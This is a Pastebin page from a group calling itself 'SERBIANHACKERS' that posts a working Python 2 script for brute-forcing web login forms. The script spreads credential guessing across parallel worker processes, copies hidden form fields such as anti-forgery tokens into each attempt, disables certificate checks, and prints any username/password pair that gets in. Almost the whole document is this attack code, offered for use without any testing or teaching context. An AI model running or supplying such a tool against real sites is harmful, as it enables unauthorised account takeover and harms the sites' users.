SERBIANHACKERS

SRBTOOL | HTTP Bruteforce form

Apr 14th, 2017
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.85 KB | None | 0 0
  1. #SRBHACKERS
  2.  
  3. import requests
  4. import multiprocessing
  5. import sys
  6. import Queue
  7. import re
  8. import json
  9. import HTMLParser
  10. import time
  11.  
  12. VERIFY = False
  13.  
  14. if VERIFY is False:
  15.     requests.packages.urllib3.disable_warnings()
  16.  
  17.  
  18. # Class to parse HTML responses to find the needed hidden fields and to test
  19. # for login success or failure.
  20. class bruteParser(HTMLParser.HTMLParser):
  21.     def __init__(self, fail, hidden_fields):
  22.         HTMLParser.HTMLParser.__init__(self)
  23.         self.hidden = {}
  24.         self.hidden_fields = hidden_fields
  25.         self.fail_regex = fail
  26.         self.fail = False
  27.  
  28.     def feed(self, data):
  29.         # Reset our fail flag before we process any data
  30.         self.fail = False
  31.         HTMLParser.HTMLParser.feed(self, data)
  32.  
  33.     def handle_starttag(self, tag, attr):
  34.         if tag == 'input':
  35.             attribs = dict(attr)
  36.             if attribs['type'] == 'hidden':
  37.                 if attribs['name'] in self.hidden_fields:
  38.                     self.hidden[attribs['name']] = attribs['value']
  39.  
  40.     def handle_data(self, data):
  41.         m = self.fail_regex.search(data)
  42.  
  43.         # If we have a match, m is not None, on the fail_str then the login
  44.         # attempt was unsuccessful.
  45.         if m is not None:
  46.             self.fail = True
  47.  
  48.  
  49. def load_config(f):
  50.     return json.loads(open(f).read())
  51.  
  52.  
  53. def worker(login, action, parser, cred_queue, success_queue):
  54.     print '[*] Starting new worker thread.'
  55.     sess = requests.Session()
  56.     resp = sess.get(login, verify=VERIFY)
  57.     parser.feed(resp.content)
  58.  
  59.     while True:
  60.         # If there are no creds to test, stop the thread
  61.         try:
  62.             creds = cred_queue.get(timeout=10)
  63.         except Queue.Empty:
  64.             print '[-] Credential queue is empty, quitting.'
  65.             return
  66.  
  67.         # If there are good creds in the queue, stop the thread
  68.         if not success_queue.empty():
  69.             print '[-] Success queue has credentials, quitting'
  70.             return
  71.  
  72.         # Check a set of creds. If successful add them to the success_queue
  73.         # and stop the thread.
  74.         auth = {config['ufield']: creds[0],
  75.                 config['pfield']: creds[1]}
  76.         auth.update(parser.hidden)
  77.         resp = sess.post(action, data=auth, verify=VERIFY)
  78.         parser.feed(resp.content)
  79.  
  80.         if parser.fail is True:
  81.             print '[-] Failure: {0}/{1}'.format(creds[0], creds[1])
  82.         else:
  83.             print '[+] Success: {0}/{1}'.format(creds[0], creds[1])
  84.             success_queue.put(creds)
  85.             return
  86.  
  87.         time.sleep(config['wait'])
  88.  
  89.  
  90. if __name__ == '__main__':
  91.     if len(sys.argv) != 2:
  92.         print 'USAGE: brute_http_form.py config_file'
  93.         sys.exit()
  94.  
  95.     config = load_config(sys.argv[1])
  96.  
  97.     fail = re.compile(config['fail_str'], re.I | re.M)
  98.     cred_queue = multiprocessing.Queue()
  99.     success_queue = multiprocessing.Queue()
  100.     procs = []
  101.  
  102.     # Create one thread for each processor.
  103.     for i in range(config['threads']):
  104.         p = multiprocessing.Process(target=worker,
  105.                                     args=(config['login'],
  106.                                           config['action'],
  107.                                           bruteParser(fail, config['hidden']),
  108.                                           cred_queue,
  109.                                           success_queue))
  110.         procs.append(p)
  111.         p.start()
  112.  
  113.     for user in open(config['ufile']):
  114.         user = user.rstrip('\r\n')
  115.         if user == '':
  116.             continue
  117.         for pwd in open(config['pfile']):
  118.             pwd = pwd.rstrip('\r\n')
  119.             cred_queue.put((user, pwd))
  120.  
  121.     # Wait for all worker processes to finish
  122.     for p in procs:
  123.         p.join()
  124.  
  125.     while not success_queue.empty():
  126.         user, pwd = success_queue.get()
  127.         print 'User: {0} Pass: {1}'.format(user, pwd)
Add Comment
Please, Sign In to add comment